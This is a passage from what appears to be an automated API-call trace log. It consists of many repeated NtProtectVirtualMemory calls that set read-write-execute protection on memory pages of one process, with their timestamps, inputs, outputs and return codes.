OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.278] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.295] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.306] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.317] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.327] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.345] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.356] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.367] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.385] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.395] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.406] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.417] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.434] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.446] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.462] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.488] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.504] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.530] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.546] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.564] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.593] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.612] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.641] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.651] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.662] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.673] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.700] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.710] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.727] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.737] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.748] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.758] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.776] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.786] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.796] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.807] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.824] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.835] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.845] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.855] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.872] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.882] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.893] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.904] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.921] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.931] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.941] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.952] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.969] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.980] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.990] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.001] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.022] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.033] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.044] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.065] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.076] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.086] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.105] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.116] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.126] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.149] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.172] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.183] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.193] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.204] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.222] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.242] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.259] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.269] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.280] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.291] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.308] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.318] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.328] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.360] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.377] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.387] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.398] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.414] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.426] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.436] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.447] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.464] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.475] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.485] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.511] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: 